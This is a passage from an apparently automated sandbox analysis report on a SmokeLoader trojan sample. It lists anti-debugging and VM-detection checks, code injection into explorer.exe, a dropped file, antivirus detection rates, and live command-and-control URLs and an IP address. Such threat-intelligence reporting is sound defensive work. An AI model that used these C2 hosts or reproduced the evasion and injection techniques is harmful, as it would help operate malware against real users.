Source: explorer.exe, 00000001.00000000.1818830286.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1818830286.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.1819387834.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000001.00000002.2958133429.0000000007A34000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000001.00000000.1818830286.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000001.00000000.1814342240.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1814342240.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_0245092B mov eax, dword ptr fs:[00000030h]	0_2_0245092B
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_02450D90 mov eax, dword ptr fs:[00000030h]	0_2_02450D90
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: 0_2_025D1AFC push dword ptr fs:[00000030h]	0_2_025D1AFC
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_0245092B mov eax, dword ptr fs:[00000030h]	5_2_0245092B
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_02450D90 mov eax, dword ptr fs:[00000030h]	5_2_02450D90
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: 5_2_026C0934 push dword ptr fs:[00000030h]	5_2_026C0934

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: hehbwci.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 188.40.141.211 80

Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Thread created: C:\Windows\explorer.exe EIP: 7DC1A88			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Thread created: unknown EIP: 8821A88			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hehbwci	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: explorer.exe, 00000001.00000000.1814832507.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1818830286.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1814832507.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000002.2956285661.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000002.2955742050.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1814342240.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1814832507.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000002.2956285661.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1814832507.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000002.2956285661.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: InterlockedExchangeAdd,SetActiveWindow,CreateIcon,SetKeyboardState,GetStdHandle,FreeEnvironmentStringsW,AddAtomW,GetCurrentDirectoryW,GetCharWidthW,FatalAppExitA,GetUserDefaultLCID,WideCharToMultiByte,GetTimeZoneInformation,MoveFileExA,GetLocaleInfoA,	0_2_0041D740
Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe	Code function: GetModuleFileNameA,GetAce,GetLocaleInfoA,	0_2_0041D560
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: InterlockedExchangeAdd,SetActiveWindow,CreateIcon,SetKeyboardState,GetStdHandle,FreeEnvironmentStringsW,AddAtomW,GetCurrentDirectoryW,GetCharWidthW,FatalAppExitA,GetUserDefaultLCID,WideCharToMultiByte,GetTimeZoneInformation,MoveFileExA,GetLocaleInfoA,	5_2_0041D740
Source: C:\Users\user\AppData\Roaming\hehbwci	Code function: GetModuleFileNameA,GetAce,GetLocaleInfoA,	5_2_0041D560

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe

Code function: 0_2_0041D6C0 CreateNamedPipeA,SystemTimeToFileTime,

0_2_0041D6C0

Source: C:\Windows\explorer.exe

Code function: 1_2_07DC35B8 GetUserNameW,

1_2_07DC35B8

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe

Code function: 0_2_0041D740 InterlockedExchangeAdd,SetActiveWindow,CreateIcon,SetKeyboardState,GetStdHandle,FreeEnvironmentStringsW,AddAtomW,GetCurrentDirectoryW,GetCharWidthW,FatalAppExitA,GetUserDefaultLCID,WideCharToMultiByte,GetTimeZoneInformation,MoveFileExA,GetLocaleInfoA,

0_2_0041D740

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2104950353.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2104992060.0000000002491000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1830761735.0000000003F51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1829948690.0000000002460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2104950353.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2104992060.0000000002491000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1830761735.0000000003F51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1829948690.0000000002460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	33 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Virtualization/Sandbox Evasion	LSASS Memory	511 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	33 Process Injection	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	112 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Qi4Mj8hG3t.exe	66%	ReversingLabs	Win32.Trojan.SmokeLoader
Qi4Mj8hG3t.exe	81%	Virustotal		Browse
Qi4Mj8hG3t.exe	100%	Avira	TR/AD.SmokeLoader.nbtrk
Qi4Mj8hG3t.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\hehbwci	100%	Avira	TR/AD.SmokeLoader.nbtrk
C:\Users\user\AppData\Roaming\hehbwci	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\hehbwci	66%	ReversingLabs	Win32.Trojan.SmokeLoader
C:\Users\user\AppData\Roaming\hehbwci	81%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
selebration17io.io	17%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://aka.ms/odirmr	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	0%	URL Reputation	safe
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	0%	URL Reputation	safe
https://api.msn.com/q	0%	URL Reputation	safe
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	0%	URL Reputation	safe
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	0%	URL Reputation	safe
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	0%	URL Reputation	safe
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	0%	Avira URL Cloud	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	0%	URL Reputation	safe
http://valarioulinity1.net/index.php	100%	Avira URL Cloud	malware
https://wns.windows.com/L	0%	URL Reputation	safe
https://word.office.com	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://aka.ms/Vh5j3k	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	0%	URL Reputation	safe
https://api.msn.com/v1/news/Feed/Windows?&	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	0%	URL Reputation	safe
https://www.rd.com/list/polite-habits-campers-dislike/	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	0%	Avira URL Cloud	safe
https://api.msn.com/	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	0%	URL Reputation	safe
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	0%	URL Reputation	safe
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	0%	Avira URL Cloud	safe
http://rthqivmpffucvlrr.net/	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	0%	Avira URL Cloud	safe
http://buriatiarutuhuob.net/index.php	100%	Avira URL Cloud	malware
http://selebration17io.io/index.phpl	100%	Avira URL Cloud	phishing
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	0%	Avira URL Cloud	safe
http://valarioulinity1.net/index.php	15%	Virustotal		Browse
http://cassiosssionunu.me/index.php	100%	Avira URL Cloud	malware
http://selebration17io.io/index.php	100%	Avira URL Cloud	malware
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	0%	Avira URL Cloud	safe
http://buriatiarutuhuob.net/index.php	16%	Virustotal		Browse
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	0%	Avira URL Cloud	safe
http://selebration17io.io/index.php	15%	Virustotal		Browse
http://selebration17io.io/index.phpy	100%	Avira URL Cloud	phishing
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	Virustotal		Browse
https://www.msn.com:443/en-us/feed	0%	Avira URL Cloud	safe
http://cassiosssionunu.me/index.php	14%	Virustotal		Browse
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	0%	Avira URL Cloud	safe
https://www.msn.com:443/en-us/feed	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
selebration17io.io	188.40.141.211	true	true	17%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://valarioulinity1.net/index.php	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://buriatiarutuhuob.net/index.php	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://cassiosssionunu.me/index.php	true	14%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000001.00000002.2958133429.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.office.comcember	explorer.exe, 00000001.00000002.2964173446.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1821052424.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000001.00000000.1818830286.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.com	explorer.exe, 00000001.00000002.2964173446.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1821052424.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.micro	explorer.exe, 00000001.00000000.1818126733.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1819606254.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000002.2959454522.0000000007F40000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://rthqivmpffucvlrr.net/	explorer.exe, 00000001.00000002.2966099831.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000001.00000002.2958133429.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/q	explorer.exe, 00000001.00000000.1818830286.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000001.00000000.1821052424.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2964173446.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000001.00000002.2958133429.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://wns.windows.com/L	explorer.exe, 00000001.00000000.1821052424.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2964173446.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://selebration17io.io/index.phpl	explorer.exe, 00000001.00000002.2966488393.000000000E730000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://word.office.com	explorer.exe, 00000001.00000002.2964173446.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1821052424.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000001.00000002.2958133429.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/Vh5j3k	explorer.exe, 00000001.00000002.2958133429.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000001.00000002.2960669138.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1818830286.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
